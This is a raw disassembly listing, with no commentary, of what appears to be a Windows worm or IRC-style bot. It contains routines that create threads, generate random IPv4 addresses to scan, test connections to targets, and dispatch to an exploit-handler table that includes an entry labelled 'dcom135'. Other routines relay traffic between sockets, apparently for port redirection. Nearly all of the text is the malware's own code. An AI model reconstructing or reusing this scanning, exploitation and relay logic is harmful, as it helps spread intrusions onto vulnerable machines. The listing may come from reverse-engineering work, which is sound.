		lea	eax, [ebp+var_204]
		push	offset unk_427818
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	dword_43C160, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43BDC8
		push	offset sub_405A96
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, dword_43C160
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_407540
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4277D0


loc_407518:				; CODE XREF: sub_4071B6+257j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_407527:				; CODE XREF: sub_4071B6+26Cj
					; sub_4071B6+392j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B078
		pop	ecx


loc_407534:				; CODE XREF: sub_4071B6+14j
					; sub_4071B6+35j ...
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407538:				; CODE XREF: sub_4071B6+390j
		push	32h
		call	dword_421060	; Sleep


loc_407540:				; CODE XREF: sub_4071B6+354j
		cmp	dword_43C174, ebx
		jz	short loc_407538
		jmp	short loc_407527
sub_4071B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40754A	proc near		; CODE XREF: sub_4076CB:loc_40772Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43B1A8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43C488
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43C550
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4153F0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40754A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407592	proc near		; CODE XREF: sub_4076CB+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415B10
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_4075BA
		xor	eax, eax
		jmp	short loc_40762B
; ---------------------------------------------------------------------------


loc_4075BA:				; CODE XREF: sub_407592+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416947
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4075E7
		call	sub_415372
		mov	[ebp+var_C], eax


loc_4075E7:				; CODE XREF: sub_407592+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4075F4
		call	sub_415372
		mov	[ebp+var_8], eax


loc_4075F4:				; CODE XREF: sub_407592+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_407601
		call	sub_415372
		mov	[ebp+var_4], eax


loc_407601:				; CODE XREF: sub_407592+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40760D
		call	sub_415372


loc_40760D:				; CODE XREF: sub_407592+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43B1A8[ecx*8], eax


loc_40762B:				; CODE XREF: sub_407592+26j
		pop	esi
		leave
		retn
sub_407592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_4076CB+A9p
					; sub_412A1D+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		inc	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43C5D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407657
		xor	eax, eax
		jmp	short loc_4076C6
; ---------------------------------------------------------------------------


loc_407657:				; CODE XREF: sub_40762E+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43C554
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43C5F0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43C4FC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43C53C
		push	esi
		mov	edi, eax
		call	dword_43C5EC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_4076C6:				; CODE XREF: sub_40762E+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CB	proc near		; DATA XREF: sub_4078DF+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_42104C	; GetTickCount
		push	eax
		call	sub_415368
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_4078BC
; ---------------------------------------------------------------------------


loc_407717:				; CODE XREF: sub_4076CB+1FFj
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40772D
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407592
		pop	ecx
		jmp	short loc_407732
; ---------------------------------------------------------------------------


loc_40772D:				; CODE XREF: sub_4076CB+51j
		call	sub_40754A


loc_407732:				; CODE XREF: sub_4076CB+60j
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4416CC[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4279F0
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4414C8[ebx]
		push	eax
		call	sub_415316
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40762E
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_4078B1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_407806
		push	offset dword_43BB08
		call	dword_4210B4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4279B0
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4077E8
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4077DC
		lea	eax, [ebp+var_140]


loc_4077DC:				; CODE XREF: sub_4076CB+109j
		push	eax
		push	[ebp+var_40]
		call	sub_412BD1
		add	esp, 14h


loc_4077E8:				; CODE XREF: sub_4076CB+EEj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40B078
		mov	[esp+2A8h+var_2A8], offset dword_43BB08
		call	dword_4210B0	; RtlLeaveCriticalSection
		jmp	loc_4078B1
; ---------------------------------------------------------------------------


loc_407806:				; CODE XREF: sub_4076CB+BEj
		push	edi
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_415316
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40784A
		lea	eax, [ebp+var_140]


loc_40784A:				; CODE XREF: sub_4076CB+177j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_415316
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42738C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_4078B1:				; CODE XREF: sub_4076CB+B4j
					; sub_4076CB+136j
		push	7D0h
		call	dword_421060	; Sleep


loc_4078BC:				; CODE XREF: sub_4076CB+47j
		mov	eax, dword_4416CC[ebx]
		cmp	dword_43B1AC[eax*8], 0
		jnz	loc_407717
		push	esi
		call	sub_4150F0
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_4076CB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078DF	proc near		; DATA XREF: sub_40CD3A+3137o
					; sub_40CD3A+4D09o

var_20C		= dword	ptr -20Ch
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		xor	ebx, ebx
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_14C]
		inc	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43C594
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43B1A8[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4071B6
		push	8
		call	sub_41501C
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4079AD
		mov	esi, offset dword_43BB08
		push	esi
		call	dword_4210BC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4210B8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_4079AD
		lea	eax, [ebp+var_1CC]
		push	offset unk_427B38
		push	eax
		call	sub_415316
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407997
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412BD1
		add	esp, 14h


loc_407997:				; CODE XREF: sub_4078DF+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B078
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4079AD:				; CODE XREF: sub_4078DF+63j
					; sub_4078DF+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_421060
		mov	edi, ebx
		mov	dword_43B1AC[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407A6F


loc_4079CB:				; CODE XREF: sub_4078DF+18Aj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427AE8
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_414DDA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4416CC[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_4076CB
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_407A86
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A98
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B078
		add	esp, 10h


loc_407A61:				; CODE XREF: sub_4078DF+1ACj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_4079CB


loc_407A6F:				; CODE XREF: sub_4078DF+E6j
		cmp	[ebp+var_30], ebx
		jz	short loc_407A94
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_407AA1
; ---------------------------------------------------------------------------


loc_407A82:				; CODE XREF: sub_4078DF+1AAj
		push	1Eh
		call	esi	; Sleep


loc_407A86:				; CODE XREF: sub_4078DF+159j
		cmp	[ebp+var_4], ebx
		jz	short loc_407A82
		jmp	short loc_407A61
; ---------------------------------------------------------------------------


loc_407A8D:				; CODE XREF: sub_4078DF+1C0j
		push	7D0h
		call	esi	; Sleep


loc_407A94:				; CODE XREF: sub_4078DF+193j
		mov	eax, [ebp+var_2C]
		cmp	dword_43B1AC[eax*8], 1
		jz	short loc_407A8D


loc_407AA1:				; CODE XREF: sub_4078DF+1A1j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43B1A8[eax*8]
		push	eax
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A40
		push	eax
		call	sub_415316
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407AEF
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412BD1
		add	esp, 14h


loc_407AEF:				; CODE XREF: sub_4078DF+1F1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+var_2C]
		mov	[esp+20Ch+var_20C], 0BB8h
		mov	dword_43B1AC[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_41501C
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407B26
		push	offset dword_43BB08
		call	dword_4210BC	; RtlDeleteCriticalSection


loc_407B26:				; CODE XREF: sub_4078DF+23Aj
		push	[ebp+var_2C]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_4078DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_407B36	proc near		; DATA XREF: sub_40CD3A+3509o

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		xor	edi, edi
		push	10h
		inc	edi
		pop	ebx
		mov	[eax+120h], edi
		xor	esi, esi
		push	ebx
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43C554
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43C5D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407C99
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4416D4[eax], ebx
		call	dword_43C470
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43C580
		test	eax, eax
		jnz	loc_407C99
		push	0Ah
		push	ebx
		call	dword_43C57C
		test	eax, eax
		jnz	loc_407C99


loc_407BE0:				; CODE XREF: sub_407B36+BEj
					; sub_407B36+15Ej
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43C5E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407BE0
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_427BD8
		push	eax
		call	sub_415316
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_414DDA
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4416CC[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407CBD
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4416DC[ecx], eax
		jnz	short loc_407C8F
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427B88
		call	sub_40B0EC
		pop	ecx
		pop	ecx
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------


loc_407C87:				; CODE XREF: sub_407B36+15Cj
		push	32h
		call	dword_421060	; Sleep


loc_407C8F:				; CODE XREF: sub_407B36+13Aj
		cmp	[ebp+var_2C], esi
		jz	short loc_407C87
		jmp	loc_407BE0
; ---------------------------------------------------------------------------


loc_407C99:				; CODE XREF: sub_407B36+61j
					; sub_407B36+93j ...
		mov	edi, [ebp+arg_0]


loc_407C9C:				; CODE XREF: sub_407B36+14Fj
		push	edi
		call	dword_43C5EC
		push	ebx
		call	dword_43C5EC
		push	[ebp+var_3C]
		call	sub_4150F0
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407B36	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_407CBD	proc near		; DATA XREF: sub_407B36+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_43C5D4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407E20
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_43C554
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43C594
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407D4D
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43C5D8
		jmp	short loc_407D5B
; ---------------------------------------------------------------------------


loc_407D4D:				; CODE XREF: sub_407CBD+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43C50C


loc_407D5B:				; CODE XREF: sub_407CBD+8Ej
		cmp	eax, edi
		jz	loc_407E20
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_407E20
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_427C88
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_414DDA
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_4416D4[ebx]
		mov	dword_4416CC[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_4416D8[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_407EA5
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4416DC[ecx], eax
		jnz	short loc_407E59
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427C30
		call	sub_40B0EC
		pop	ecx
		pop	ecx


loc_407E20:				; CODE XREF: sub_407CBD+44j
					; sub_407CBD+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_4416D4[eax]
		call	dword_43C5EC
		push	[ebp+arg_0]
		call	dword_43C5EC
		push	[ebp+var_4]
		call	sub_4150F0
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx


loc_407E51:				; CODE XREF: sub_407CBD+19Fj
		push	32h
		call	dword_421060	; Sleep


loc_407E59:				; CODE XREF: sub_407CBD+14Ej
		cmp	[ebp+var_20], edi
		jz	short loc_407E51
		mov	ebx, 1000h


loc_407E63:				; CODE XREF: sub_407CBD+1E1j
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43C56C
		cmp	eax, edi
		jle	short loc_407E20
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407E63
		jmp	loc_407E20
sub_407CBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407EA5	proc near		; DATA XREF: sub_407CBD+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407EDC:				; CODE XREF: sub_407EA5+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_4416D8[esi]
		call	dword_43C56C
		test	eax, eax
		jle	short loc_407F23
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_4416D4[esi]
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407EDC


loc_407F23:				; CODE XREF: sub_407EA5+61j
		push	dword_4416D8[esi]
		call	dword_43C5EC
		push	[ebp+var_14]
		call	sub_4150F0
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_407EA5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F42	proc near		; DATA XREF: sub_40CD3A+587Co

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	ebx
		mov	[eax+0A8h], edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43C554
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_43C5D4
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4416D4[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43C580
		test	eax, eax
		jnz	loc_4080E3
		push	0Ah
		push	edi
		call	dword_43C57C
		test	eax, eax
		jnz	loc_4080E3
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427DD0
		push	eax
		call	sub_415316
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_40801D
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_412BD1
		add	esp, 14h


loc_40801D:				; CODE XREF: sub_407F42+B9j
					; sub_407F42+18Aj ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40B078
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43C5E8
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_427D78
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_414DDA
		mov	[ebp+var_38], eax
		imul	eax, 234h
